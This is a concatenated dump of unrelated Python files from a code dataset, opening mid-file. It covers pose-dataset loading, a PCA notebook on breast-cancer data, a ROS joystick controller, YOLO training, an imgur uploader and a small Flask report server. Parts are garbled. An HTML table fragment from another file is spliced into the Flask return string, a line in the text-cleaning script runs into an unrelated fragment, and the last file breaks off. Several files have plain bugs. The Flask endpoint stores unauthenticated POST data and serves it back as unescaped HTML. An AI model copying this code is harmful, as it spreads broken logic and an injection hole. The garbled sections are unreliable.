w - 1))))\n y2 = np.min((height - 1, y1 + np.max((0, h - 1))))\n if x2 >= x1 and y2 >= y1: # ann['area'] > 0 #tobi: CrowdPose does not provide area\n bbox = [x1, y1, x2 - x1, y2 - y1]\n else:\n continue\n x, y, w, h = bbox\n center = np.array([x + w * 0.5, y + h * 0.5])\n if w > self.aspect_ratio * h:\n h = w / self.aspect_ratio\n elif w < self.aspect_ratio * h:\n w = h * self.aspect_ratio\n scale = np.array([w, h]) * 1.25\n\n joints_3d = np.zeros((self.num_joints, 3), dtype=np.float)\n joints_3d_vis = np.zeros((self.num_joints, 3), dtype=np.float)\n for ipt in range(self.num_joints):\n joints_3d[ipt, 0] = ann['keypoints'][ipt * 3 + 0]\n joints_3d[ipt, 1] = ann['keypoints'][ipt * 3 + 1]\n joints_3d[ipt, 2] = 0\n t_vis = ann['keypoints'][ipt * 3 + 2]\n if t_vis > 1:\n t_vis = 1\n joints_3d_vis[ipt, 0] = t_vis\n joints_3d_vis[ipt, 1] = t_vis\n joints_3d_vis[ipt, 2] = 0\n gt_db.append({\n 'image': os.path.join(self.images, self.coco.imgs[ann['image_id']]['file_name']),\n 'center': center,\n 'scale': scale,\n 'joints_3d': joints_3d,\n 'joints_3d_vis': joints_3d_vis,\n 'imgnum': 0\n })\n return gt_db\n\n\ndef crowdpose(**kwargs):\n return CrowdPose(**kwargs)\n\n\ncrowdpose.n_joints = 14\n","sub_path":"pose/datasets/crowdpose.py","file_name":"crowdpose.py","file_ext":"py","file_size_in_byte":4610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"136079181","text":"\n# coding: utf-8\n\n# # Information about the dataset\n# \n# Features are computed from a digitized image of a fine needle aspirate (FNA) of a breast mass. They describe characteristics of the cell nuclei present in the image. \n# \n# Attribute Information\n# 1. ID - ID number of the image\n# 2. Clump Thickness - 1 to 10\n# 3. Cell Size - 1 to 10\n# 4. Cell Shape - 1 to 10\n# 5. Marginal Adhesion - 1 to 10\n# 6. Single Epethelial cell size - 1 to 10\n# 7. Bare nuclei - 1 to 10 \n# 8. Normal Nucleoli - 1 to 10\n# 9. Bland Chromatin - 1 to 10\n# 10. Mitosis - 1 to 10\n# \n# Class - Dependent Variable - 2 for benign 4 for malignant\n\n# ### Read the data given in bc2.csv file\n\n# In[271]:\n\n\n# Import all Libraries\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plot\n\n\n# In[272]:\n\n\nbc_data = pd.read_csv(\"bc2.csv\")\nbc_data.head()\n\n\n# ### Observe the no.of records in dataset and type of each feature \n\n# In[273]:\n\n\nbc_data.info()\n\n\n# In[274]:\n\n\nbc_data['Class'].value_counts()\n\n\n# ### Use summary statistics to check if missing values, outlier and encoding treament is necessary\n# \n\n# In[275]:\n\n\nstats = bc_data.describe(include='all')\nstats.transpose()\n\n\n# In[276]:\n\n\n# Drop ID\nbc_data.drop('ID', axis=1, inplace=True)\n\n\n# ### Check Missing Values\n\n# In[277]:\n\n\n# The above statistics summary reveals that Bare Nuclei has some values that are non-numerical.\n# Hence there is a possibility that it has missing values\nbc_data['Bare Nuclei'].value_counts()\n# This shows we have '?' occurs 16 times, that is the missing value\n\n\n# ### Check how many `?` there in Bare Nuclei feature (they are also unknown or missing values). Replace them with the top value of the describe function of Bare Nuclei feature.\n# \n# #### Check include='all' parameter in describe function\n\n# In[278]:\n\n\nprint(\"Total values with ? = {}\".format(bc_data['Bare Nuclei'].value_counts()['?']))\n\n\n# In[280]:\n\n\nbc_data.loc[(bc_data['Bare Nuclei']=='?'),'Bare Nuclei'] = stats['Bare Nuclei'].top\nbc_data['Bare Nuclei'].value_counts()\n\n\n# ### Find the distribution of target variable (Class) \n\n# In[281]:\n\n\nbc_data['Class'].value_counts()\n\n\n# #### Plot the distribution of target variable using histogram\n\n# In[282]:\n\n\n#Use Label Encoder to encode class values\nfrom sklearn.preprocessing import LabelEncoder\nlabelencoder = LabelEncoder()\nbc_data['Class'] = bc_data.apply(LabelEncoder().fit_transform)['Class']\nbc_data['Class'].hist()\n\n\n# ### convert the datatype of Bare Nuclei to `int`\n\n# In[284]:\n\n\nbc_data['Bare Nuclei'] = bc_data['Bare Nuclei'].astype(int)\nbc_data.info()\n\n\n# ### Plot Scatter Matrix to understand the distribution of variables and check if any variables are collinear and drop one of them.\n\n# In[285]:\n\n\nimport seaborn as sns\nsns.pairplot(bc_data, diag_kind='kde', hue='Class')\n\n\n# In[286]:\n\n\nimport seaborn as sns\nsns.heatmap(bc_data.corr(), cmap='plasma', vmax=1,vmin=0,annot=True)\n\n\n# In[287]:\n\n\n# Based on the correlation data, I observe Cell Size & Cell Shape has strong collinearity\n# In Medical Terms, Shape has more importance as Size, hence taking shape & leaving size\nbc_data_new = bc_data.drop('Cell Size',axis=1)\nsns.heatmap(bc_data_new.corr(), cmap='plasma', vmax=1,vmin=0,annot=True)\n\n\n# In[288]:\n\n\n# Check for Variance in the Data\nbc_data_new.var()\n\n\n# ### Divide the dataset into feature set and target set\n# \n\n# In[289]:\n\n\ntarget = bc_data_new['Class']\nfeatures = bc_data_new.drop('Class',axis=1)\n\n\n# ### Standardization of Data\n\n# In[290]:\n\n\nfrom sklearn.preprocessing import StandardScaler\nstd_scale = StandardScaler()\n\n\n# In[291]:\n\n\nfeatures_std = pd.DataFrame(std_scale.fit_transform(features, target), columns=features.columns, index=features.index)\nfeatures_std.sample(5)\n\n\n# ### Convariance Matrix\n\n# In[292]:\n\n\nfeatures_std.cov()\n\n\n# In[293]:\n\n\n# Convert the above into Numpy Matrix\n# Use np.cov function on the transpose of the standardized/scaled data frame\n# You can observe the matrix displayed above & here are one & the same\ncovar = np.cov(features_std.T)\ncovar\n\n\n# ### Eigen Values and Vectors\n\n# In[294]:\n\n\neig_vals, eig_vecs = np.linalg.eig(covar)\nprint(eig_vals, eig_vecs)\n\n\n# ### Sort the Eigen values\n\n# In[295]:\n\n\neig_pairs = [(np.abs(eig_vals[i]), eig_vecs[:,i]) for i in range(len(eig_vals))]\nprint(eig_pairs)\n\n\n# In[296]:\n\n\neig_pairs.sort(reverse=True)\nprint(eig_pairs)\n\n\n# ### Explained Variance\n\n# In[297]:\n\n\nvariance_explained = (eig_vals / sum(eig_vals))*100\nprint(\"Explained Variance = {}\".format(variance_explained))\n\n\n# ### Plot the Explained Variance\n\n# In[298]:\n\n\nplot.bar(np.arange(len(variance_explained)), variance_explained,0.5)\n\n\n# ### Do PCA on feature set using sklearn\n\n# In[299]:\n\n\nfrom sklearn.decomposition import PCA\npcamodel = PCA(n_components=3, random_state=10).fit(features_std)\ncomps = ['Comp0','Comp1','Comp2','Comp3','Comp4','Comp5','Comp6','Comp7']\nprint(pcamodel)\n\n\n# In[300]:\n\n\nprint(pcamodel.components_)\n\n\n# In[301]:\n\n\n# Use Absolute values, so its simple to interpret\ndf_factors = pd.DataFrame(abs(pcamodel.components_),columns=features.columns.values,\n index=comps[:3])\ndf_factors.transpose()\n\n\n# In[302]:\n\n\nsns.heatmap(df_factors.transpose(),cmap='plasma', annot=True, vmin=0,vmax=1)\n\n\n# ### Plot 3d-plot of data distribution on first three major PCA dimensions\n# \n\n# In[303]:\n\n\nget_ipython().magic(u'matplotlib inline')\nfrom mpl_toolkits.mplot3d import Axes3D\n\nfig = plot.figure(1, figsize=(8, 6))\nax = Axes3D(fig, elev=-150, azim=110)\n\n\nfeatures_trans = pcamodel.fit_transform(features_std) \nax.scatter(features_trans[:, 0], features_trans[:, 1], features_trans[:, 2], \n c=features_std.iloc[:,0].values,\n cmap=plot.cm.Set1, edgecolor='k', s=40)\n\nax.set_title(\"First three PCA directions\")\nax.set_xlabel(\"1st eigenvector\")\nax.w_xaxis.set_ticklabels([])\nax.set_ylabel(\"2nd eigenvector\")\nax.w_yaxis.set_ticklabels([])\nax.set_zlabel(\"3rd eigenvector\")\nax.w_zaxis.set_ticklabels([])\n\nplot.show()\n\n\n# In[304]:\n\n\npd.DataFrame(features_trans, columns=comps[:3]).head()\n\n\n# In[305]:\n\n\nfeatures_std.head()\n\n\n# In[306]:\n\n\n# The above shows that the values of reduced set & original set are different\n\n\n# ### Use Logistic Regression model on the dataset under 2 conditions:\n# 1. With all the atttributes\n# 2. With reduced number of attributes\n# \n# Compare the accuracy of the model under both the cases\n\n# In[307]:\n\n\nfrom sklearn.linear_model import LogisticRegression\n#\netargets = ['Expected Bengin','Expected Malignant']\nptargets = ['Predicted Bengin','Predicted Malignant']\n\n\n# In[308]:\n\n\nmodel = LogisticRegression()\nprint(model)\n\n\n# In[309]:\n\n\nfrom sklearn import model_selection\nfrom sklearn import metrics\n# Model with all the original attributes\n# Split train & test\nX_train, X_test, Y_train, Y_test = model_selection.train_test_split(features_std, target, test_size=0.3, \n random_state=10)\n\n\n# In[310]:\n\n\nmodel.fit(X_train,Y_train)\nexpected = Y_train\npredicted = model.predict(X_train)\ntrain_score = metrics.accuracy_score(expected, predicted)\ntrain_matrix = metrics.confusion_matrix(expected, predicted)\n\n\n# In[311]:\n\n\n# make predictions\nexpected = Y_test\npredicted = model.predict(X_test)\ntest_score = metrics.accuracy_score(expected, predicted)\ntest_matrix = metrics.confusion_matrix(expected, predicted)\n\n\n# In[312]:\n\n\nprint(\"Training Accuracy Score: {}\".format(train_score))\nprint(\"Test Accuracy Score: {}\".format(test_score))\nprint(\"\\nTraining Confusion Matrix: \\n{}\".format(pd.DataFrame(train_matrix, columns=ptargets,index=etargets)))\nprint(\"\\nTest Confusion Matrix: \\n{}\".format(pd.DataFrame(test_matrix, columns=ptargets,index=etargets)))\n\n\n# In[313]:\n\n\n# Model with the reduced attributes\n# Split train & test\nX_train, X_test, Y_train, Y_test = model_selection.train_test_split(features_trans, target, test_size=0.3, \n random_state=10)\n\n\n# In[314]:\n\n\nmodel.fit(X_train,Y_train)\nexpected = Y_train\npredicted = model.predict(X_train)\ntrain_score = metrics.accuracy_score(expected, predicted)\ntrain_matrix = metrics.confusion_matrix(expected, predicted)\n\n\n# In[315]:\n\n\n# make predictions\nexpected = Y_test\npredicted = model.predict(X_test)\ntest_score = metrics.accuracy_score(expected, predicted)\ntest_matrix = metrics.confusion_matrix(expected, predicted)\n\n\n# In[316]:\n\n\nprint(\"Training Accuracy Score: {}\".format(train_score))\nprint(\"Test Accuracy Score: {}\".format(test_score))\nprint(\"\\nTraining Confusion Matrix: \\n{}\".format(pd.DataFrame(train_matrix, columns=ptargets,index=etargets)))\nprint(\"\\nTest Confusion Matrix: \\n{}\".format(pd.DataFrame(test_matrix, columns=ptargets,index=etargets)))\n\n\n# In[317]:\n\n\n# The above data clearly proves that we could achieve prity much the same accuracy score with the reduced \n# set as that of original set\n\n","sub_path":"PCA-Adv_Questions.py","file_name":"PCA-Adv_Questions.py","file_ext":"py","file_size_in_byte":8805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"229609706","text":"\"\"\"taschenrechner mit easygui\"\"\"\n\nimport easygui as g\nmininput=9\nmaxinput=22\nfactor=1.3\n\n#g.msgbox(\"hallo\")\nmyvalue=g.integerbox(msg=\"input a number\",title=\"test\",lowerbound=mininput,upperbound=maxinput)\ntext=\"{} x {} = {}\".format(myvalue,factor,myvalue*factor)\n#print(text)\ng.msgbox(text)\n","sub_path":"11_t.py","file_name":"11_t.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"647876466","text":"#####################################\n# Imports\n#####################################\n# Python native imports\nfrom PyQt5 import QtCore, QtWidgets\nimport logging\nfrom inputs import devices, GamePad\nfrom time import time\n\nimport rospy\nfrom rover_control.msg import DriveCommandMessage\n\n#####################################\n# Global Variables\n#####################################\nGAME_CONTROLLER_NAME = \"Logitech Logitech Extreme 3D Pro\"\n\nDEFAULT_DRIVE_COMMAND_TOPIC = \"/rover_control/command_control/ground_station_drive\"\n\nDRIVE_COMMAND_HERTZ = 15\n\nY_AXIS_DEADBAND = 0.05\nX_AXIS_DEADBAND = 0.05\n\nTHROTTLE_MIN = 0.05\n\nPAUSE_STATE_CHANGE_TIME = 0.5\n\nCAMERA_CHANGE_TIME = 0.2\nGUI_ELEMENT_CHANGE_TIME = 0.2\nCAMERA_TOGGLE_CHANGE_TIME = 0.35\n\n\n#####################################\n# Controller Class Definition\n#####################################\nclass LogitechJoystick(QtCore.QThread):\n def __init__(self):\n super(LogitechJoystick, self).__init__()\n\n # ########## Thread Flags ##########\n self.run_thread_flag = True\n self.setup_controller_flag = True\n self.data_acquisition_and_broadcast_flag = True\n self.controller_acquired = False\n\n # ########## Class Variables ##########\n self.gamepad = None # type: GamePad\n\n self.controller_states = {\n \"x_axis\": 512,\n \"y_axis\": 512,\n \"z_axis\": 128,\n \"throttle_axis\": 128,\n\n \"hat_x_axis\": 0,\n \"hat_y_axis\": 0,\n\n \"trigger_pressed\": 0,\n \"thumb_pressed\": 0,\n \"three_pressed\": 0,\n \"four_pressed\": 0,\n \"five_pressed\": 0,\n \"six_pressed\": 0,\n\n \"eleven_pressed\": 0,\n \"twelve_pressed\": 0,\n \"thirteen_pressed\": 0,\n \"fourteen_pressed\": 0,\n \"fifteen_pressed\": 0,\n \"sixteen_pressed\": 0,\n }\n\n self.raw_mapping_to_class_mapping = {\n \"ABS_X\": \"x_axis\",\n \"ABS_Y\": \"y_axis\",\n \"ABS_RZ\": \"z_axis\",\n \"ABS_THROTTLE\": \"throttle_axis\",\n\n \"ABS_HAT0X\": \"hat_x_axis\",\n \"ABS_HAT0Y\": \"hat_y_axis\",\n\n \"BTN_TRIGGER\": \"trigger_pressed\",\n \"BTN_THUMB\": \"thumb_pressed\",\n \"BTN_THUMB2\": \"three_pressed\",\n \"BTN_TOP\": \"four_pressed\",\n \"BTN_TOP2\": \"five_pressed\",\n \"BTN_PINKIE\": \"six_pressed\",\n\n \"BTN_BASE5\": \"eleven_pressed\",\n \"BTN_BASE6\": \"twelve_pressed\",\n \"BTN_BASE3\": \"thirteen_pressed\",\n \"BTN_BASE4\": \"fourteen_pressed\",\n \"BTN_BASE\": \"fifteen_pressed\",\n \"BTN_BASE2\": \"sixteen_pressed\",\n }\n\n self.ready = False\n\n self.start()\n\n def run(self):\n\n while self.run_thread_flag:\n if self.setup_controller_flag:\n self.controller_acquired = self.__setup_controller()\n self.setup_controller_flag = False\n if self.data_acquisition_and_broadcast_flag:\n self.__get_controller_data()\n\n def __setup_controller(self):\n for device in devices.gamepads:\n if device.name == GAME_CONTROLLER_NAME:\n self.gamepad = device\n\n return True\n return False\n\n def __get_controller_data(self):\n if self.controller_acquired:\n events = self.gamepad.read()\n\n for event in events:\n if event.code in self.raw_mapping_to_class_mapping:\n self.controller_states[self.raw_mapping_to_class_mapping[event.code]] = event.state\n\n self.ready = True\n\n\n#####################################\n# Controller Class Definition\n#####################################\nclass JoystickControlSender(QtCore.QThread):\n set_speed_limit__signal = QtCore.pyqtSignal(int)\n set_left_drive_output__signal = QtCore.pyqtSignal(int)\n set_right_drive_output__signal = QtCore.pyqtSignal(int)\n\n change_gui_element_selection__signal = QtCore.pyqtSignal(int)\n change_camera_selection__signal = QtCore.pyqtSignal(int)\n toggle_selected_gui_camera__signal = QtCore.pyqtSignal()\n\n def __init__(self, shared_objects):\n super(JoystickControlSender, self).__init__()\n\n # ########## Reference to class init variables ##########\n self.shared_objects = shared_objects\n self.right_screen = self.shared_objects[\"screens\"][\"right_screen\"]\n self.speed_limit_progress_bar = self.right_screen.speed_limit_progress_bar # type: QtWidgets.QProgressBar\n self.left_drive_progress_bar = self.right_screen.left_drive_progress_bar # type: QtWidgets.QProgressBar\n self.right_drive_progress_bar = self.right_screen.right_drive_progress_bar # type: QtWidgets.QProgressBar\n\n # ########## Get the settings instance ##########\n self.settings = QtCore.QSettings()\n\n # ########## Get the Pick And Plate instance of the logger ##########\n self.logger = logging.getLogger(\"groundstation\")\n\n # ########## Thread Flags ##########\n self.run_thread_flag = True\n\n self.joystick = LogitechJoystick()\n\n # ########## Class Variables ##########\n # Publishers\n self.drive_command_publisher = rospy.Publisher(DEFAULT_DRIVE_COMMAND_TOPIC, DriveCommandMessage, queue_size=1)\n\n self.wait_time = 1.0 / DRIVE_COMMAND_HERTZ\n\n self.drive_paused = True\n\n self.last_pause_state_time = time()\n self.last_gui_element_change_time = time()\n self.last_camera_change_time = time()\n self.last_camera_toggle_time = time()\n\n def run(self):\n while self.run_thread_flag:\n\n start_time = time()\n\n self.check_and_set_pause_state()\n self.__update_and_publish()\n\n time_diff = time() - start_time\n\n self.msleep(max(int(self.wait_time - time_diff), 0))\n\n def connect_signals_and_slots(self):\n self.set_speed_limit__signal.connect(self.speed_limit_progress_bar.setValue)\n self.set_left_drive_output__signal.connect(self.left_drive_progress_bar.setValue)\n self.set_right_drive_output__signal.connect(self.right_drive_progress_bar.setValue)\n\n def check_and_set_pause_state(self):\n thumb_pressed = self.joystick.controller_states[\"thumb_pressed\"]\n if thumb_pressed and (time() - self.last_pause_state_time) > PAUSE_STATE_CHANGE_TIME:\n self.drive_paused = not self.drive_paused\n self.show_changed_pause_state()\n self.last_pause_state_time = time()\n\n def __update_and_publish(self):\n self.publish_drive_command()\n self.publish_camera_control_commands()\n\n def publish_drive_command(self):\n throttle_axis = max((255 - self.joystick.controller_states[\"throttle_axis\"]) / 255.0, THROTTLE_MIN)\n\n if self.drive_paused:\n drive_message = DriveCommandMessage()\n else:\n drive_message = self.get_drive_message(throttle_axis)\n\n left_output = abs(drive_message.drive_twist.linear.x - drive_message.drive_twist.angular.z)\n right_output = abs(drive_message.drive_twist.linear.x + drive_message.drive_twist.angular.z)\n\n self.set_speed_limit__signal.emit(throttle_axis * 100)\n self.set_left_drive_output__signal.emit(left_output * 100)\n self.set_right_drive_output__signal.emit(right_output * 100)\n\n self.drive_command_publisher.publish(drive_message)\n\n def publish_camera_control_commands(self):\n trigger_pressed = self.joystick.controller_states[\"trigger_pressed\"]\n three_pressed = self.joystick.controller_states[\"three_pressed\"]\n four_pressed = self.joystick.controller_states[\"four_pressed\"]\n five_pressed = self.joystick.controller_states[\"five_pressed\"]\n six_pressed = self.joystick.controller_states[\"six_pressed\"]\n\n if (five_pressed or six_pressed) and (time() - self.last_camera_change_time) > CAMERA_CHANGE_TIME:\n change = -1 if five_pressed else 1\n self.change_camera_selection__signal.emit(change)\n self.last_camera_change_time = time()\n\n if (three_pressed or four_pressed) and (time() - self.last_gui_element_change_time) > GUI_ELEMENT_CHANGE_TIME:\n change = -1 if three_pressed else 1\n self.change_gui_element_selection__signal.emit(change)\n self.last_gui_element_change_time = time()\n\n if trigger_pressed and (time() - self.last_camera_toggle_time) > CAMERA_TOGGLE_CHANGE_TIME:\n self.toggle_selected_gui_camera__signal.emit()\n self.last_camera_toggle_time = time()\n\n def get_drive_message(self, throttle_axis):\n drive_message = DriveCommandMessage()\n\n y_axis = throttle_axis * (-(self.joystick.controller_states[\"y_axis\"] - 512) / 512.0)\n z_axis = throttle_axis * (-(self.joystick.controller_states[\"z_axis\"] - 128) / 128.0)\n x_axis = throttle_axis * (-(self.joystick.controller_states[\"x_axis\"] - 512) / 512.0)\n\n if abs(y_axis) < Y_AXIS_DEADBAND:\n y_axis = 0\n\n if abs(x_axis) < X_AXIS_DEADBAND and y_axis == 0:\n twist = z_axis\n else:\n twist = x_axis if y_axis >= 0 else -x_axis\n\n drive_message.drive_twist.linear.x = y_axis\n drive_message.drive_twist.angular.z = twist\n\n return drive_message\n\n def setup_signals(self, start_signal, signals_and_slots_signal, kill_signal):\n start_signal.connect(self.start)\n signals_and_slots_signal.connect(self.connect_signals_and_slots)\n kill_signal.connect(self.on_kill_threads_requested__slot)\n\n def show_changed_pause_state(self):\n if self.drive_paused:\n self.left_drive_progress_bar.setStyleSheet(\"background-color:darkred;\")\n self.right_drive_progress_bar.setStyleSheet(\"background-color:darkred;\")\n else:\n self.left_drive_progress_bar.setStyleSheet(\"background-color: transparent;\")\n self.right_drive_progress_bar.setStyleSheet(\"background-color: transparent;\")\n\n def on_kill_threads_requested__slot(self):\n self.run_thread_flag = False\n","sub_path":"software/ros_packages/ground_station/src/Framework/InputSystems/JoystickControlSender.py","file_name":"JoystickControlSender.py","file_ext":"py","file_size_in_byte":10117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"535417666","text":"from flask import Flask\nfrom flask import request\n\napp = Flask(__name__)\nreport_list = [\"reports list\"]\n\n\n@app.route(\"/report\", methods=['POST'])\ndef report():\n report_list.append(request.get_data())\n return \"\"\n\n\n@app.route(\"/\")\ndef list_report():\n return \"
    접수번호접수일제목처리기관명처리상태처리일자비고공개내용파일이름수정일
    \"\n\t\t\t\tif m == 8 :\n\t\t\t\t\tfor file in row[m].split(\"|\"):\n\t\t\t\t\t\thtml+= ''+str(file)+'
    '\n\t\t\t\telse :\n\t\t\t\t\thtml+= str(row[m])\n\t\t\t\thtml += \"
    \" + \\\n reduce(\n lambda a,b : a + \"
    \" + b,\n report_list\n ) + \\\n \"
    \"\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=\"80\")\n\n","sub_path":"report-job/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"119676466","text":"import os\nimport numpy as np\n\nfrom cfgs.config_v2 import add_cfg\n\nimport utils.network as net_utils\nfrom darknet_v2 import Darknet19\nfrom datasets.ImageFileDataset_v2 import ImageFileDataset\nfrom train_util_v2 import *\nfrom utils.timer import Timer\n\n# dataset_yaml = '/home/cory/yolo2-pytorch/cfgs/config_kitti.yaml'\n# exp_yaml = '/home/cory/yolo2-pytorch/cfgs/exps/kitti_new_2.yaml'\ndataset_yaml = '/home/cory/yolo2-pytorch/cfgs/config_voc.yaml'\nexp_yaml = '/home/cory/yolo2-pytorch/cfgs/exps/voc0712_anchor.yaml'\n# exp_yaml = '/home/cory/yolo2-pytorch/cfgs/exps/voc0712_template.yaml'\n\ncfg = dict()\nadd_cfg(cfg, dataset_yaml)\nadd_cfg(cfg, exp_yaml)\n\n# data loader\nimdb = ImageFileDataset(cfg, ImageFileDataset.preprocess_train,\n processes=4, shuffle=True, dst_size=None)\n\nprint('imdb load data succeeded')\nnet = Darknet19(cfg)\n\ngpu_id = 0\nos.environ['CUDA_VISIBLE_DEVICES'] = str(gpu_id)\n\nos.makedirs(cfg['train_output_dir'], exist_ok=True)\ntry:\n ckp = open(cfg['train_output_dir'] + '/check_point.txt')\n ckp_epoch = int(ckp.readlines()[0])\n use_model = os.path.join(cfg['train_output_dir'], cfg['exp_name'] + '_' + str(ckp_epoch) + '.h5')\nexcept IOError:\n ckp_epoch = 0\n use_model = cfg['pretrained_model']\n\nnet_utils.load_net(use_model, net)\n\nnet.cuda()\nnet.train()\nprint('load net succeeded')\n\nstart_epoch = ckp_epoch\nimdb.epoch = start_epoch\n\noptimizer = get_optimizer(cfg, net, start_epoch)\n\n# show training parameters\nprint('-------------------------------')\nprint('gpu_id', os.environ.get('CUDA_VISIBLE_DEVICES'))\nprint('use_model', use_model)\nprint('exp_name', cfg['exp_name'])\nprint('dataset', cfg['dataset_name'])\nprint('optimizer', cfg['optimizer'])\nprint('opt_param', cfg['opt_param'])\nprint('train_batch_size', cfg['train_batch_size'])\nprint('start_epoch', start_epoch)\nprint('lr', lookup_lr(cfg, start_epoch))\nprint('-------------------------------')\n\ntrain_loss = 0\nbbox_loss, iou_loss, cls_loss = 0., 0., 0.\ncnt = 0\n\ntimer = Timer()\n\n# default input size\nnetwork_size = np.array(cfg['inp_size'], dtype=np.int)\n\nfor step in range(start_epoch * imdb.batch_per_epoch, cfg['max_epoch'] * imdb.batch_per_epoch + 1):\n timer.tic()\n\n # random change network size\n if step % cfg['network_size_rand_period'] == 0:\n rand_id = np.random.randint(0, len(cfg['inp_size_candidates']))\n rand_network_size = cfg['inp_size_candidates'][rand_id]\n network_size = np.array(rand_network_size, dtype=np.int)\n\n prev_epoch = imdb.epoch\n batch = imdb.next_batch(network_size)\n\n # when go to next epoch\n if imdb.epoch > prev_epoch:\n # save trained weights\n save_name = os.path.join(cfg['train_output_dir'], '{}_{}.h5'.format(cfg['exp_name'], imdb.epoch))\n net_utils.save_net(save_name, net)\n print('save model: {}'.format(save_name))\n\n # update check_point file\n ckp = open(os.path.join(cfg['train_output_dir'], 'check_point.txt'), 'w')\n ckp.write(str(imdb.epoch))\n ckp.close()\n\n # prepare optimizer for next epoch\n optimizer = get_optimizer(cfg, net, imdb.epoch)\n\n # forward\n im_data = net_utils.np_to_variable(batch['images'], is_cuda=True, volatile=False).permute(0, 3, 1, 2)\n x = net.forward(im_data, batch['gt_boxes'], batch['gt_classes'], batch['dontcare'], network_size)\n\n # loss\n bbox_loss += net.bbox_loss.data.cpu().numpy()[0]\n iou_loss += net.iou_loss.data.cpu().numpy()[0]\n cls_loss += net.cls_loss.data.cpu().numpy()[0]\n train_loss += net.loss.data.cpu().numpy()[0]\n cnt += 1\n # print('train_loss', net.loss.data.cpu().numpy()[0])\n\n # backward\n optimizer.zero_grad()\n net.loss.backward()\n optimizer.step()\n\n duration = timer.toc()\n if step % cfg['disp_interval'] == 0:\n train_loss /= cnt\n bbox_loss /= cnt\n iou_loss /= cnt\n cls_loss /= cnt\n progress_in_epoch = (step % imdb.batch_per_epoch) / imdb.batch_per_epoch\n print('epoch: %d, step: %d (%.2f %%),'\n 'loss: %.3f, bbox_loss: %.3f, iou_loss: %.3f, cls_loss: %.3f (%.2f s/batch)' % (\n imdb.epoch, step, progress_in_epoch * 100, train_loss, bbox_loss, iou_loss, cls_loss, duration))\n with open(cfg['train_output_dir'] + '/train.log', 'a+') as log:\n log.write('%d, %d, %.3f, %.3f, %.3f, %.3f, %.2f\\n' % (\n imdb.epoch, step, train_loss, bbox_loss, iou_loss, cls_loss, duration))\n\n train_loss = 0\n bbox_loss, iou_loss, cls_loss = 0., 0., 0.\n cnt = 0\n timer.clear()\n\nimdb.close()\n","sub_path":"train_dataset_v2.py","file_name":"train_dataset_v2.py","file_ext":"py","file_size_in_byte":4561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"80238338","text":"from keras.models import load_model\nimport numpy as np\nimport pandas as pd\n\npos = pd.read_excel('pos_english.xls', header=None)\nneg = pd.read_excel('neg_english.xls', header=None)\n\npos['label'] = 1\nneg['label'] = 0\nall_ = pos.append(neg, ignore_index=True)\n\nall_['words'] = all_[0].apply(lambda s: s.split(' ')) \n\n\nmaxlen = 300 #截断字数\nmin_count = 20 #出现次数少于该值的字扔掉。这是最简单的降维方法\n\ncontent = []\nfor i in all_['words']:\n\tcontent.extend(i.replace('\\n','').replace(',','').replace('/>','').replace('= min_count]\n\n\nabc[:] = list(range(1, len(abc)+1))\n\n\nabc[''] = 0 #添加空字符串用来补全\nabc.to_csv(\"abc.csv\")\nprint(abc)\nprint(type(abc))\n\nword_set = set(abc.index)\nword_set = list(word_set)\n#print()\nprint(len(word_set))\nfile = open('word_set.txt', 'w')\nfor i in word_set:\n\tfile.write(i)\n\tfile.write('\\n')\nfile.close()\nprint(\"555555555555\")\nprint(word_set)\n\n\n\n\n","sub_path":"2-classifier/clean.py","file_name":"clean.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"598012061","text":"import pyimgur\nimport easygui\nimport requests\nimport webbrowser\n\nCLIENT_ID = 'b93ea30758c0c37'\nPATH = easygui.fileopenbox('Select a picture you wish to upload')\nTITLE = easygui.enterbox('Enter a title')\nim = pyimgur.Imgur(CLIENT_ID)\ntry:\n uploaded_image = im.upload_image(PATH, title = TITLE)\n title1 = uploaded_image.title\n link = uploaded_image.link\n size = uploaded_image.size\n type = uploaded_image.type\n msg = 'Title: ' + title1 + '\\nLink: ' + link + '\\nSize: ' + str(size, ' KB') + '\\nType: ' + type\n if easygui.boolbox(msg, 'Success!', ('Open in browser', 'OK')):\n webbrowser.open_new_tab(link)\nexcept requests.exceptions.HTTPError as err:\n errmsg = 'Bad file\\n' + str(err)\n easygui.msgbox(errmsg)\n","sub_path":"pic_upload.py","file_name":"pic_upload.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"452059018","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author : Mike\n# @Contact : 597290963@qq.com\n# @Time : 2021/1/17 13:49\n# @File : SetZeroes.py\n\n\"\"\"\n\n\"\"\"\nfrom typing import List\n\n\nclass SetZeroes(object):\n\n def __init__(self):\n pass\n\n def setZeroes(self, matrix: List[List[int]]) -> None:\n \"\"\"\n Do not return anything, modify matrix in-place instead.\n \"\"\"\n # 使用set 记录 col、 row位置,空间复杂度N+M, 时间复杂度0(2 * N * M)\n col_set = set()\n row_set = set()\n\n n = len(matrix)\n m = len(matrix[0])\n for i in range(n):\n for j in range(m):\n if matrix[i][j] == 0:\n row_set.add(i)\n col_set.add(j)\n\n for i in range(n):\n for j in range(m):\n if i in row_set or j in col_set:\n matrix[i][j] = 0\n\n def setZeroes1(self, matrix: List[List[int]]) -> None:\n \"\"\"\n Do not return anything, modify matrix in-place instead.\n \"\"\"\n # 使用第一行,第一列作为基准\n # 第一行是否有0\n row_flag = False\n # 第一列是否有0\n col_flag = False\n n = len(matrix)\n m = len(matrix[0])\n\n for i in range(n):\n if matrix[i][0] == 0:\n col_flag = True\n break\n\n for j in range(m):\n if matrix[0][j] == 0:\n row_flag = True\n break\n\n for i in range(1, n):\n for j in 